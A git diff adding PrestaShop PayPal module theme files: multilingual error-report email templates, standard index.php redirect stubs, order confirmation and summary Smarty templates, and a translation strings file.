+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/de/error_reporting.html b/themes/default/modules/paypal/mails/de/error_reporting.html new file mode 100755 index 0000000..cd5fe9f --- /dev/null +++ b/themes/default/modules/paypal/mails/de/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Nachricht von {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hallo,
         
        Fehlerbericht aus Ihrem PayPalAPI Modul
         
        Bei einem Kunden ist ein Problem mit dem PayPalAPI Modul aufgetreten, lesen Sie den Bericht:
         
        {logs}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/de/error_reporting.txt b/themes/default/modules/paypal/mails/de/error_reporting.txt new file mode 100755 index 0000000..c8f23e3 --- /dev/null +++ b/themes/default/modules/paypal/mails/de/error_reporting.txt @@ -0,0 +1,9 @@ + Hallo, + + Fehlerbericht aus Ihrem PayPalAPI Modul + + Bei einem Kunden ist ein Problem mit dem PayPalAPI Modul aufgetreten, lesen Sie den Bericht: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal/mails/de/index.php b/themes/default/modules/paypal/mails/de/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/de/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/en/error_reporting.html b/themes/default/modules/paypal/mails/en/error_reporting.html new file mode 100755 index 0000000..a28099c --- /dev/null +++ b/themes/default/modules/paypal/mails/en/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Error reporting from your PayPalAPI module
         
        A client has encountered a problem with the module PayPalAPI, see the report:
         
        {logs}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/en/error_reporting.txt b/themes/default/modules/paypal/mails/en/error_reporting.txt new file mode 100755 index 0000000..802ac51 --- /dev/null +++ b/themes/default/modules/paypal/mails/en/error_reporting.txt @@ -0,0 +1,9 @@ + Hi, + + Error reporting from your PayPalAPI module + + A client has encountered a problem with the module PayPalAPI, see the report: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal/mails/en/index.php b/themes/default/modules/paypal/mails/en/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/es/error_reporting.html b/themes/default/modules/paypal/mails/es/error_reporting.html new file mode 100755 index 0000000..8ce92cc --- /dev/null +++ b/themes/default/modules/paypal/mails/es/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hola,
         
        Informe de error a partir de su módulo PayPalAPI
         
        Un cliente ha encontrado un problema con el módulo PayPalAPI:
         
        {logs}
         
        {shop_name} lanzado por PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/es/error_reporting.txt b/themes/default/modules/paypal/mails/es/error_reporting.txt new file mode 100755 index 0000000..a293fc6 --- /dev/null +++ b/themes/default/modules/paypal/mails/es/error_reporting.txt @@ -0,0 +1,9 @@ + Hola, + + Informe de error a partir de su módulo PayPalAPI + + Un cliente ha encontrado un problema con el módulo PayPalAPI: + + {logs} + + {shop_url} lanzado por PrestaShop™ diff --git a/themes/default/modules/paypal/mails/es/index.php b/themes/default/modules/paypal/mails/es/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/es/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/fr/error_reporting.html b/themes/default/modules/paypal/mails/fr/error_reporting.html new file mode 100755 index 0000000..8b900f8 --- /dev/null +++ b/themes/default/modules/paypal/mails/fr/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Rapport d'erreur à partir de votre module PayPalAPI
         
        Un client a rencontré un problème avec le module PayPalAPI:
         
        {logs}
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/fr/error_reporting.txt b/themes/default/modules/paypal/mails/fr/error_reporting.txt new file mode 100755 index 0000000..87cf565 --- /dev/null +++ b/themes/default/modules/paypal/mails/fr/error_reporting.txt @@ -0,0 +1,9 @@ + Bonjour, + + Rapport d'erreur à partir de votre module PayPalAPI + + Un client a rencontré un problème avec le module PayPalAPI: + + {logs} + + {shop_url} propulsé par PrestaShop™ diff --git a/themes/default/modules/paypal/mails/fr/index.php b/themes/default/modules/paypal/mails/fr/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/fr/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/index.php b/themes/default/modules/paypal/mails/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/themes/default/modules/paypal/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/it/error_reporting.html b/themes/default/modules/paypal/mails/it/error_reporting.html new file mode 100755 index 0000000..e13a5ed --- /dev/null +++ b/themes/default/modules/paypal/mails/it/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Messaggio da {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
        Salve,
        Errore dal tuo modulo PayPalAPI
        Un cliente ha avuto un problema con il modulo PayPalAPI, vedi il rapporto:
        {logs}
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/it/error_reporting.txt b/themes/default/modules/paypal/mails/it/error_reporting.txt new file mode 100755 index 0000000..56b40dd --- /dev/null +++ b/themes/default/modules/paypal/mails/it/error_reporting.txt @@ -0,0 +1,9 @@ + Salve, + + Errore dal tuo modulo PayPalAPI + + Un cliente ha avuto un problema con il modulo PayPalAPI, vedi il rapporto: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal/mails/it/index.php b/themes/default/modules/paypal/mails/it/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/it/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/mails/pt/error_reporting.html b/themes/default/modules/paypal/mails/pt/error_reporting.html new file mode 100755 index 0000000..d4d7b30 --- /dev/null +++ b/themes/default/modules/paypal/mails/pt/error_reporting.html @@ -0,0 +1,43 @@ + + + + + Mensagem de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {shop_name} +
         
        Hi,
         
        Relatório de erro do seu módulo PayPalAPI
         
        + Um cliente encontrou um problema com o módulo PayPalAPI, veja relatório: +
         
        + {logs} +
         
        + {shop_name} provido por PrestaShopâ„¢ + +
        + + diff --git a/themes/default/modules/paypal/mails/pt/error_reporting.txt b/themes/default/modules/paypal/mails/pt/error_reporting.txt new file mode 100755 index 0000000..12949b1 --- /dev/null +++ b/themes/default/modules/paypal/mails/pt/error_reporting.txt @@ -0,0 +1,9 @@ + Oi, + + Relatório de erro do seu módulo PayPalAPI + + Um cliente encontrou um problem com o módulo PayPalAPI, veja relatório: + + {logs} + + {shop_url} provido por PrestaShop™ diff --git a/themes/default/modules/paypal/mails/pt/index.php b/themes/default/modules/paypal/mails/pt/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal/mails/pt/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal/order-confirmation-mobile.tpl b/themes/default/modules/paypal/order-confirmation-mobile.tpl new file mode 100755 index 0000000..53e6e25 --- /dev/null +++ b/themes/default/modules/paypal/order-confirmation-mobile.tpl @@ -0,0 +1,79 @@ +
        + {include file="$tpl_dir./errors.tpl"} + +

        {l s='Order confirmation' mod='paypal'}

        + + {assign var='current_step' value='payment'} + + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}

        +

        {l s='Your order ID is :' mod='paypal'} {$order.id_order}

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction}

        + + + + + + + + + + + + {/if} + +
        + + {if !$is_guest} + {l s='Continue shopping' mod='paypal'} + {else} + + {/if} +
        +
        diff --git a/themes/default/modules/paypal/order-confirmation.tpl b/themes/default/modules/paypal/order-confirmation.tpl new file mode 100755 index 0000000..2208e3e --- /dev/null +++ b/themes/default/modules/paypal/order-confirmation.tpl @@ -0,0 +1,110 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {capture name=path}{l s='Order confirmation' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +
        +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-confirmation.tpl"} +{else} +

        [{l s='Order confirmation' mod='paypal'}]

        + + {* + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + *} + + {assign var="current_step" value="payment"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {include file="$tpl_dir./order-opc-rightColumn.tpl"} +
        + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price}

        +

        {l s='Your order ID is :' mod='paypal'} {$order.id_order}

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction}

        + + + + + + + + + + + + + + {/if} +
        + + {if $is_guest} + {l s='Follow my order' mod='paypal'} + {else} + {l s='Back to orders' mod='paypal'} + {/if} +{/if} +
        +
        \ No newline at end of file diff --git a/themes/default/modules/paypal/order-summary.tpl b/themes/default/modules/paypal/order-summary.tpl new file mode 100755 index 0000000..85c0d35 --- /dev/null +++ b/themes/default/modules/paypal/order-summary.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-summary.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe} {l s='PayPal' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Order summary' mod='paypal'}

        + + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + +

        {l s='PayPal payment' mod='paypal'}

        +
        +

        + {l s='PayPal' mod='paypal'} +
        {l s='You have chosen to pay with PayPal.' mod='paypal'} +

        + {l s='Here is a short summary of your order:' mod='paypal'} +

        +

        + - {l s='The total amount of your order is' mod='paypal'} + {$total} {if $use_taxes == 1}{l s='(tax incl.)' mod='paypal'}{/if} +

        +

        + - {l s='We accept the following currency to be sent by PayPal:' mod='paypal'} {$currency->name} +

        +

        + {l s='Please confirm your order by clicking \'I confirm my order\'' mod='paypal'}. +

        +

        + +

        +
        +{/if} diff --git a/themes/default/modules/paypal/translations/en.php b/themes/default/modules/paypal/translations/en.php new file mode 100755 index 0000000..1026e27 --- /dev/null +++ b/themes/default/modules/paypal/translations/en.php @@ -0,0 +1,136 @@ +ipn_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté'; +$_MODULE['<{paypal}default>paypal_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}default>paypal_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acceptez le paiements par cartes de crédits (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) avec PayPal.'; +$_MODULE['<{paypal}default>paypal_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Êtes-vous certain de vouloir supprimer vos informations ?'; +$_MODULE['<{paypal}default>paypal_8b57f95f1e9cf09dc028fa5a671781ff'] = 'Toutes les fonctionnalités du module PayPal API sont incluses dans le nouveau module PayPal. Avant tout, pour ne pas rencontrer de conflits, veuillez ne pas utiliser ou supprimer le module PayPal API.'; +$_MODULE['<{paypal}default>paypal_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Vous devez renseigner vos identifiants PayPal Integral pour que votre thème mobile fonctionne correctement.'; +$_MODULE['<{paypal}default>paypal_bd6b3cca1e559117a964cdfab6a977cf'] = 'Le thème mobile fonctionne seulement avec la solution de paiement mobile PayPal. Veuillez activer le module pour bénéficier de possibilités de paiements.'; +$_MODULE['<{paypal}default>paypal_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Avant d\'utiliser le module vous devez installer le module \"Rétro-compatibilité\".'; +$_MODULE['<{paypal}default>paypal_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement le module \"Rétro-compatibilité\" doit être activé.'; +$_MODULE['<{paypal}default>paypal_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module requiert le module \"Rétro-compatibilité\" v'; +$_MODULE['<{paypal}default>paypal_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulation des produits :'; +$_MODULE['<{paypal}default>paypal_90ab0cfd410722553c79e614207a789a'] = 'Certains champs sont vides.'; +$_MODULE['<{paypal}default>paypal_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Les champs des identifiants ne peuvent être vides'; +$_MODULE['<{paypal}default>paypal_3f7145179c909f0e87a911a3171986b6'] = 'Le champs E-mail professionnel ne peut être vide'; +$_MODULE['<{paypal}default>paypal_e5d5d9f40763cfe6549bef705e3529a7'] = 'Le message de paiement n\'est pas valide, veuillez vérifier votre module'; +$_MODULE['<{paypal}default>paypal_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide'; +$_MODULE['<{paypal}default>paypal_eec39bf42bd135971fb2d838c67d1449'] = 'Opération de remboursement :'; +$_MODULE['<{paypal}default>paypal_2ab62d1a578713d0862b56819295630e'] = 'Remboursement PayPal confirmé !'; +$_MODULE['<{paypal}default>paypal_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erreur de transaction !'; +$_MODULE['<{paypal}default>paypal_67962779da962e3d4225055afc05e7bd'] = 'Résultat de la capture :'; +$_MODULE['<{paypal}default>paypal_8778ee03f6592d5fec9a1f2ee851e476'] = 'Commande terminée avec PayPal !'; +$_MODULE['<{paypal}default>paypal_672d40feac6437e49f771019bc330790'] = 'Statu de la vérification :'; +$_MODULE['<{paypal}default>paypal_1828820cc60e36b6f9fdf60cab103ed7'] = 'Vous utilisez actuellement l\'adresse PayPal par défaut, veuillez entrer votre propre adresse.'; +$_MODULE['<{paypal}default>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Ouvre une nouvelle connection vers'; +$_MODULE['<{paypal}default>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Echec de la connection avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connection réussie avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envoie des paramètres :'; +$_MODULE['<{paypal}default>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Echec de l\'envoie avec la méthode cURL ! Erreur :'; +$_MODULE['<{paypal}default>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envoie réussi avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Echec de la connection avec la méthode fsockopen'; +$_MODULE['<{paypal}default>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Echec de l\'envoie avec la méthode fsockopen ! Erreur :'; +$_MODULE['<{paypal}default>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envoie réussi avec la méthode fsockopen'; +$_MODULE['<{paypal}default>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Réponse PayPal :'; +$_MODULE['<{paypal}default>submit_67a3fcdb7708219b9d5d6269ad8c4a86'] = 'Une erreur est survenue pendant le processus de paiement.'; +$_MODULE['<{paypal}default>payment_d141a42a5e72c871a3116414bb5c64c1'] = 'Cannot create new cart'; +$_MODULE['<{paypal}default>payment_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Error occurred:'; +$_MODULE['<{paypal}default>payment_dca16503c563d9fdec70d18f2ab653a4'] = 'Error during the preparation of the Express Checkout payment'; +$_MODULE['<{paypal}default>payment_51da74120dd5e11817ef21e27d2599bc'] = 'Cannot create customer'; +$_MODULE['<{paypal}default>payment_bcf08b34ab427cb871635151c6976eb0'] = 'Cannot create Address'; +$_MODULE['<{paypal}default>payment_ca5cecfc8fd8e585ba1e684757168158'] = 'Cannot update existing cart'; +$_MODULE['<{paypal}default>payment_ada2b5d5bbf3065de283d61526141780'] = 'Pending payment capture.'; +$_MODULE['<{paypal}default>payment_36ec50c0e914dd2fb48a1b27540512ce'] = 'Payment accepted'; +$_MODULE['<{paypal}default>payment_c8a31175ee6991be6a0d7a6d32ca4268'] = 'Pending payment confirmation.'; +$_MODULE['<{paypal}default>payment_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}default>payment_98825385aadb1d0dd0fd133ef8acd23d'] = 'Cannot create order'; +$_MODULE['<{paypal}default>payment_085b78e060c3ef4cc37bd25abd06ff66'] = 'Cart changed since the last checkout express, please make a new Paypal checkout payment'; +$_MODULE['<{paypal}default>payment_572da7ef1411f2a12409e752f3eb2f7a'] = 'Your cart is empty'; +$_MODULE['<{paypal}default>process_ee9dc1e678d54c517f481583c3fb2db8'] = 'Not a valid currency'; +$_MODULE['<{paypal}default>process_484f5a79672cebe198ebdde45a1d672f'] = 'Gift wrapping'; +$_MODULE['<{paypal}default>notifier_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Price paid on paypal is not the same that on the shop'; +$_MODULE['<{paypal}default>notifier_572f9af7615560af2cba038cc1948287'] = 'Cart changed, please retry'; +$_MODULE['<{paypal}default>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Payment accepted'; +$_MODULE['<{paypal}default>back_office_ae3cebe661e92cdfd12516419fef4f2d'] = 'Télécharger le'; +$_MODULE['<{paypal}default>back_office_e73756d0d2306110f29ccf28cb69c412'] = 'Guide d\'intégration de PayPal'; +$_MODULE['<{paypal}default>back_office_6506302a6e11077ecbc04b5932a65c4c'] = 'sur PrestaShop et suivez les étapes pas à pas'; +$_MODULE['<{paypal}default>back_office_748eadce9cf4f2bde207b63c5441da07'] = 'Utilisez la Fonction PayPal Login'; +$_MODULE['<{paypal}default>back_office_cded4ac9f77c68c750c243af1f5263c5'] = ' (*voir le '; +$_MODULE['<{paypal}default>back_office_606d8f704cf61d29bffd5195f28af29e'] = 'Guide d\'Intégration'; +$_MODULE['<{paypal}default>back_office_a1694ad810c4ac5b56b59c47db01cb05'] = 'et suivre les étapes de mise en place'; +$_MODULE['<{paypal}default>back_office_3650f874df7e9c6e822a872d02cee6d5'] = 'Cette fonction permet à vos clients de se connecter avec leurs identifiants PayPal pour raccourcir le tunnel d\'achat'; +$_MODULE['<{paypal}default>back_office_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{paypal}default>back_office_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{paypal}default>back_office_9be4e88898c4e88363208d2472f4a406'] = 'Renseignez les informations liées à votre compte PayPal'; +$_MODULE['<{paypal}default>back_office_4ff2e716a7d06ce5274b4090b39abad3'] = 'Voir'; +$_MODULE['<{paypal}default>back_office_8646a5d7b2817d30950357da8d80a11f'] = 'le Guide d\'Intégration'; +$_MODULE['<{paypal}default>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Error !'; +$_MODULE['<{paypal}default>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Capture PayPal'; +$_MODULE['<{paypal}default>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}default>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Les fonds sont prêts à être capturés avant expédition'; +$_MODULE['<{paypal}default>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Récupérer les fonds'; +$_MODULE['<{paypal}default>refund_8ba079f305b81b172792bc0469b6a690'] = 'PayPal Refund'; +$_MODULE['<{paypal}default>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Information:'; +$_MODULE['<{paypal}default>refund_016e1f278eccd700eaf33f74a501d050'] = 'Payment accepted'; +$_MODULE['<{paypal}default>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Lorsque vous remboursez un produit, un remboursement partiel est effectué sauf si vous sélectionnez l\'option \"Générer un bon de réduction\"'; +$_MODULE['<{paypal}default>refund_729a51874fe901b092899e9e8b31c97a'] = 'Etes-vous sûr ?'; +$_MODULE['<{paypal}default>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Remboursement total de la transaction'; +$_MODULE['<{paypal}default>validation_b630aa9b5e25da971949cae62dd109aa'] = 'PayPal Validation'; +$_MODULE['<{paypal}default>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Information:'; +$_MODULE['<{paypal}default>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Pending Capture - No shipping'; +$_MODULE['<{paypal}default>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Pending Payment - No shipping'; +$_MODULE['<{paypal}default>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Get payment status'; +$_MODULE['<{paypal}default>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Qu\'est-ce que PayPal ?'; +$_MODULE['<{paypal}default>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader incontesté en matière de paiement en ligne, permet aux acheteurs et aux vendeurs d\'envoyer et de recevoir des paiements en ligne. PayPal compte plus de 100 millions de comptes dans 190 pays et régions du monde. Il est accepté par les marchands partout, à la fois sur eBay et en dehors d\'eBay.'; +$_MODULE['<{paypal}default>about_d20adade7baa1b60b713521031ea676c'] = 'Est-ce un service sécurisé ?'; +$_MODULE['<{paypal}default>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal contribue à protéger les informations concernant votre carte bancaire grâce aux meilleurs systèmes présents sur le marché pour la sécurité et la prévention contre la fraude. Lorsque vous utilisez PayPal, vos informations financières ne sont jamais communiquées au marchand.'; +$_MODULE['<{paypal}default>about_5ef30813484389e4200640c2f006004d'] = 'Pourquoi utiliser PayPal ?'; +$_MODULE['<{paypal}default>about_86550d4ea832930db4366f03b90bdfb8'] = 'Effectuez des achats ou envoyez des paiements avec PayPal : c\'est gratuit.'; +$_MODULE['<{paypal}default>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Achetez et payez en toute tranquillité en enregistrant vos informations auprès de PayPal.'; +$_MODULE['<{paypal}default>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal est accepté par des millions de marchands dans le monde et constitue le mode de paiement le plus utilisé sur eBay.'; +$_MODULE['<{paypal}default>about_7934d7d1280bfbb8778743e39292af30'] = 'Utilisez PayPal dès aujourd\'hui !'; +$_MODULE['<{paypal}default>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Your shopping cart'; +$_MODULE['<{paypal}default>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}default>error_f47106270a2928f350f357e255a2c2ac'] = 'Please try to contact the merchant:'; +$_MODULE['<{paypal}default>error_d5860edcd3078f86ee963c27654bc6cf'] = 'Total of the transaction (taxes incl.) '; +$_MODULE['<{paypal}default>error_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Your order ID is :'; +$_MODULE['<{paypal}default>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Back'; +$_MODULE['<{paypal}default>order-confirmation-mobile_fb077ecba55e5552916bde26d8b9e794'] = 'Order confirmation'; +$_MODULE['<{paypal}default>order-confirmation-mobile_d5860edcd3078f86ee963c27654bc6cf'] = 'Total of the transaction (taxes incl.) :'; +$_MODULE['<{paypal}default>order-confirmation-mobile_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Your order ID is :'; 